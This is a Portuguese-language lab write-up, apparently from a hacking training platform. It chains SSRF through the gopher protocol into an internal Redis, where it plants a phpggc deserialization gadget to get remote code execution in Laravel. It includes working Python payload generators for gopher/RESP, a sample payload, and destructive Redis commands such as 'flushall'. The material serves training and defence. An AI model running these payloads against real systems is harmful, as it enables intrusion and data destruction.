Explorando RCE via Desserialização Insegura e SSRF Protocol Smuggling
A combinação de desserialização insegura com técnicas de SSRF Protocol Smuggling representa um dos vetores mais avançados de exploração em Cyber Security, permitindo que atacantes encadeiem vulnerabilidades para alcançar Remote Code Execution (RCE) em aplicações modernas. Esse tipo de ataque envolve manipulação sofisticada de protocolos e objetos serializados, explorando falhas lógicas difíceis de identificar em testes tradicionais de segurança.
Neste artigo, analisamos um cenário prático de exploração que demonstra como vulnerabilidades aparentemente isoladas podem ser combinadas para comprometer totalmente um sistema. Por se tratar de uma técnica avançada, é recomendável possuir conhecimentos prévios sobre desserialização insegura, Server-Side Request Forgery (SSRF) e técnicas de protocol smuggling, temas já abordados em artigos anteriores.
Conhecendo o cenário e a infraestrutura
Um cenário ideal para essa exploração, seria uma aplicação que armazena suas sessões serializadas no Redis, como exemplo o Laravel, pois ele utiliza sessões serializadas, e é comum utilizar o Redis para armazenar suas sessões.
Em um cenário desses, se conseguirmos um SSRF e utilizarmos a técnica de Protocol Smuggling, podemos acessar o Redis para alterar o conteúdo da nossa sessão, assim explorando uma desserialização insegura.

Na imagem acima, vemos que o Nginx faz forwarding da porta 127.0.0.1:8000 para *:80, assim expondo o Laravel para a internet. Vemos que o redis está disponível apenas para a rede interna, então para acessarmos ele, precisamos de um SSRF e utilizarmos a técnica de Protocol Smuggling.
Acessando Redis via Protocol Smuggling
Para executarmos comandos no Redis com o protocolo gopher, precisamos inserir o CRLF no final de cada comando e fazermos double-urlencode (o double-urlencode é necessário em algumas ocasiões, como webapps, que geralmente fazem 1 decode por padrão, então precisamos fazer 2 encodes na payload). Criei um script em python simples que gera a payload automaticamente:
import urllib.parse
import sys
def generate_payload(ip, command):
command += "\r\nquit\r\n"
gopher_payload = f"gopher://{ip}:6379/_{urllib.parse.quote(urllib.parse.quote(command))}"
return gopher_payload
if __name__ == "__main__":
ip = sys.argv[1]
command = sys.argv[2]
print(generate_payload(ip, command))Observe que o script insere o comando "quit" para finalizar a conexão com o redis
Executando o script acima: python3 script.py redis "keys *", obtemos o output:
gopher://redis:6379/_keys%2520%252A%250D%250Aquit%250D%250AEnviando a payload em uma vulnerabilidade de SSRF, vemos que o Redis nos retorna o output do comando executado:

Explorando desserialização insegura via Protocol Smuggling:
Para esse artigo, criamos um laboratório para você colocar em prática esse conteúdo. O link do repositório no github está no final do artigo.
Entrando na página inicial, vemos que a aplicação está utilizando o Laravel:

Fazendo fuzzing, vemos que o .env está exposto na aplicação:

A aplicação está utilizando o redis para armazenar suas sessões. Vemos que o endereço IP do redis é "redis", pois essa aplicação deve estar configurada em uma rede do docker-composer.
Na página principal, vemos um campo para inserir uma URL para verificar se ela está funcional ou não. Enviando uma URL e interceptando a requisição:

Vemos que a aplicação possibilita uma requisição para localhost, então pode ser que esteja vulnerável à SSRF. Enviando uma requisição utilizando o protocolo gopher:

Veja que a aplicação aceitou o protocolo gopher e conseguiu estabelecer uma comunicação raw socket com o netcat. Podemos utilizar o script que criamos anteriormente para tentar comunicação com o Redis:

Com acesso ao redis, podemos inserir um gadget na nossa sessão para obtermos RCE no laravel através da desserialização insegura. Para gerarmos esses "gadgets" podemos utilizar o phpggc. Fazendo um clone do repositório, podemos executar a ferramenta:

Essa é a lista de gadgets disponíveis para explorar desserialização insegura no Laravel. Gostamos muito do gadget Laravel/RCE10, pois ele não possui null bytes na payload, assim facilitando a exploração. Gerando a payload:

Ao inserir essa payload na nossa sessão, o comando "id" vai ser executado no sistema. Para inserirmos essa payload na sessão precisamos executar o comando "set <KEY> <PAYLOAD>" no redis através do SSRF. Primeiro precisamos listar as keys do Laravel para identificar a key que está armazenando a nossa sessão, então podemos executar um "flushall", assim limpando todas as keys do redis, e em seguida recarregar a página para gerar outra sessão:

Recarregando a página no navegador geramos outra sessão, então terá apenas 1 key no redis:

Porém, precisamos gerar outra sessão, pois quando estava realizando alguns testes, descobrimos que ao enviar uma requisição para o Laravel, ele reseta o conteúdo da sua sessão caso ele esteja alterado ou inválido, e isso deu conflito com o ataque, pois para alterar o conteúdo precisamos enviar uma request, assim ele altera e logo depois reseta... Sim é algo confuso. Para gerarmos outra sessão, podemos entrar na webapp pela guia anônima:

Listando as keys do redis novamente:

Vemos que uma segunda key foi criada. Inserindo a payload na sessão:

Esse erro aconteceu porque não estamos utilizando o formato RESP para enviarmos os comandos para o Redis. O formato RESP utiliza a seguinte sintaxe:
Para executar keys *
*2
$4
keys
$1
*Primeiro precisamos especificar quantas palavras compõe o comando, depois precisamos especificar a quantidade de letras de cada palavra e em seguida a palavra. Então alteramos o script para fazer isso:
import urllib.parse
import sys
def generate_payload_redis(command):
command = command.split(" ")
payload = f"*{len(command)}\r\n"
for word in command:
payload += f"${len(word)}\r\n"
payload += f"{word}\r\n"
return payload
def generate_payload(ip, command):
command = generate_payload_redis(command)
command += generate_payload_redis("quit")
gopher_payload = f"gopher://{ip}:6379/_{urllib.parse.quote(urllib.parse.quote(command))}"
return gopher_payload
if __name__ == "__main__":
ip = sys.argv[1]
command = sys.argv[2]
print(generate_payload(ip, command))Gerando a payload novamente:

Recarregando a página na guia anônima:

E finalmente RCE!
Download do laboratório:
Referências
Onde praticar Hacking ?
O Hacking Club é uma plataforma de treinamento em cybersecurity, que permite você aprender hacking de forma totalmente prática.
Temos mais de 50 ambientes com vulnerabilidades reais com write-ups para você treinar e aprender hacking. Semanalmente lançamos máquinas gratuitas para você praticar e se desafiar no hacking!
